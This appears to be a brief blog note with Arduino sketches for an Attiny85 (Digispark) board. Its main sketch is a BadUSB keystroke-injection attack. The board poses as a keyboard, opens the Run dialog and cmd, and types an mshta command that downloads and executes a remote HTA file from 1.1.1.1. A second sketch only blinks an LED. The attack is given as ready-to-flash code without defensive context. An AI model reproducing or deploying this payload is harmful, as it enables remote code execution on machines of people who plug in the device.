Updated on 2019-11-16

基于 Attiny85 单片机

Code

#include "DigiKeyboard.h"

#define KEY_CAPSLOCK 57

void setup() {
    DigiKeyboard.delay(1000);
    DigiKeyboard.sendKeyStroke(0);
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    DigiKeyboard.delay(500);
    DigiKeyboard.println("cmd");
    DigiKeyboard.delay(500);
    DigiKeyboard.println("mshta http://1.1.1.1/main.hta & exit");
}

void loop() {
}
void setup() {
    pinMode(1, OUTPUT);
}

void loop() {
    digitalWrite(1, HIGH);
    delay(1000);
    digitalWrite(1, LOW);
    delay(1000);
}

Install

Reference